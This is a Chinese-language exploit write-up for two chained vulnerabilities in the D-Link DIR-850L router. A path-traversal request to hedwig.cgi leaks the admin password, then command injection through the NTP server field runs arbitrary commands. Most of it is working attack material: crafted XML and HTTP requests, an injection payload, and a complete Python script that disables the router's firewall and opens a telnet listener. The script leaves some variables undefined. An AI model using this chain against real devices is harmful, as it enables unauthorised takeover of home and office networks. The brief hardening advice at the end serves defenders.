dlink850l两个漏洞获取shell
字数 793 2025-08-25 22:58:29
D-Link DIR-850L 路由器漏洞分析与利用指南
漏洞概述
D-Link DIR-850L 路由器存在两个关键漏洞,可被利用获取设备shell权限:
- 远程命令执行漏洞:通过未授权访问的hedwig.cgi接口执行任意命令
- 认证绕过漏洞:通过getcfg.php文件绕过认证获取管理员凭证
漏洞详细分析
1. hedwig.cgi远程命令执行漏洞
漏洞原理
- 当管理员接口配置信息变更时,会以XML格式发送给hedwig.cgi
- hedwig.cgi未对用户身份进行验证,允许非管理员发送XML数据
- 处理流程:
- 接收用户XML请求
- 写入临时文件/var/tmp/temp.xml
- 调用xmldbc_read读取该文件
- 执行/htdocs/webinc/fatlady.php验证数据
关键代码分析
// hedwig.cgi主要处理流程
int hedwigcgi_main(void) {
// 接收POST请求
__s1 = getenv("REQUEST_METHOD");
__fd_00 = strcasecmp(__s1,"POST");
// 写入临时XML文件
__stream = fopen("/var/tmp/temp.xml","w");
fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n",__stream);
fprintf(__stream,"%s\n",__s1);
// 读取并处理XML
xmldbc_read((char *)0x0,2,"/var/tmp/temp.xml");
remove("/var/tmp/temp.xml");
// 执行fatlady.php
snprintf(acStack1064,0x400,"/htdocs/webinc/fatlady.php\nprefix=%s/%s","/runtime/session",puVar2);
xmldbc_ephp((char *)0x0,0,acStack1064,stdout);
}
fatlady.php漏洞点
foreach ($prefix."/postxml/module") {
$service = query("service");
$target = "/htdocs/phplib/fatlady/".$service.".php";
if (isfile($target)==1) dophp("load", $target);
}
service参数未过滤,可通过路径遍历加载任意php文件
2. 认证绕过与命令执行漏洞
获取管理员凭证
- 利用hedwig.cgi加载DEVICE.ACCOUNT.xml获取管理员密码:
<postxml>
<module>
<service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
</module>
</postxml>
认证过程
-
获取challenge和uid:
GET /authentication.cgi HTTP/1.1返回:
{"status": "ok", "uid": "0764udul3Z", "challenge": "d4efd41c-4595-4a16-b5b5-0d90dca490ca"} -
使用HMAC-MD5计算认证哈希:
hmac.new(password, (username + challenge).encode(), "md5").hexdigest().upper() -
发送认证请求:
POST /authentication.cgi HTTP/1.1 Cookie: uid=0764udul3Z id=Admin&password=7499059A6F694AD6117790A807038807
getcfg.php命令执行
- 通过DEVICE.TIME.xml.php执行命令:
$server = query("/device/time/ntp/server");
// 可注入命令如:"metelesku; (iptables -F) & exit; "
漏洞利用步骤
1. 获取管理员密码
发送请求:
POST /hedwig.cgi HTTP/1.1
Content-Type: text/xml
Cookie: uid=demo
<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
<service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
</module>
</postxml>
2. 认证获取会话
# 获取challenge
resp = session.get(urljoin(TARGET, "/authentication.cgi"))
resp = json.loads(resp.text)
# 计算认证哈希
data = {
"id": "Admin",
"password": hmac.new(admin_pasw.encode(),
("Admin" + resp["challenge"]).encode(),
"md5").hexdigest().upper()
}
# 发送认证请求
session.post(urljoin(TARGET, "/authentication.cgi"), data=data)
3. 执行任意命令
# 构造恶意XML
tree = lxml.etree.fromstring(resp.content)
tree.xpath("//ntp/enable")[0].text = "1"
tree.xpath("//ntp/server")[0].text = "metelesku; ("+COMMAND+") & exit; "
# 发送执行请求
session.post(urljoin(TARGET, "/hedwig.cgi"),
headers={"Content-Type": "text/xml"},
data=lxml.etree.tostring(tree))
# 激活服务
session.post(urljoin(TARGET, "/pigwidgeon.cgi"),
data={"ACTIONS": "SETCFG,ACTIVATE"})
完整利用脚本
#!/usr/bin/env python3
import hmac
import json
import sys
from urllib.parse import urljoin
import lxml.etree
import requests
COMMAND = ";".join([
"iptables -F",
"iptables -X",
"iptables -t nat -F",
"iptables -t nat -X",
"iptables -t mangle -F",
"iptables -t mangle -X",
"iptables -P INPUT ACCEPT",
"iptables -P FORWARD ACCEPT",
"iptables -P OUTPUT ACCEPT",
"telnetd -p 23090 -l /bin/date"
])
# 1. 获取密码
headers = {"Content-Type": "text/xml"}
cookies = {"uid": "whatever"}
data = """<?xml version="1.0" encoding="utf-8"?>
<postxml><module><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></module></postxml>"""
resp = session.post(urljoin(TARGET, "./hedwig.cgi"), headers=headers, cookies=cookies, data=data)
# 2. 认证
resp = session.get(urljoin(TARGET, "/authentication.cgi"))
resp = json.loads(resp.text)
session.cookies.update({"uid": resp["uid"]})
data = {
"id": "Admin",
"password": hmac.new(admin_pasw.encode(), ("Admin" + resp["challenge"]).encode(), "md5").hexdigest().upper()
}
session.post(urljoin(TARGET, "/authentication.cgi"), data=data)
# 3. 命令执行
data = {"SERVICES": "DEVICE.TIME"}
resp = session.post(urljoin(TARGET, "/getcfg.php"), data=data)
tree = lxml.etree.fromstring(resp.content)
tree.xpath("//ntp/enable")[0].text = "1"
tree.xpath("//ntp/server")[0].text = "metelesku; ("+COMMAND+") & exit; "
session.post(urljoin(TARGET, "/hedwig.cgi"), headers={"Content-Type": "text/xml"}, data=lxml.etree.tostring(tree))
session.post(urljoin(TARGET, "/pigwidgeon.cgi"), data={"ACTIONS": "SETCFG,ACTIVATE"})
防护建议
- 对hedwig.cgi接口添加身份验证
- 对service参数进行严格过滤,防止路径遍历
- 更新固件至最新版本
- 禁用不必要的CGI接口
- 修改默认管理员密码
总结
该漏洞组合利用了两个关键问题:
- 未授权访问关键接口(hedwig.cgi)
- 不安全的动态文件加载机制
通过精心构造的XML请求,攻击者可以完全控制路由器设备。建议用户及时更新固件并检查设备安全配置。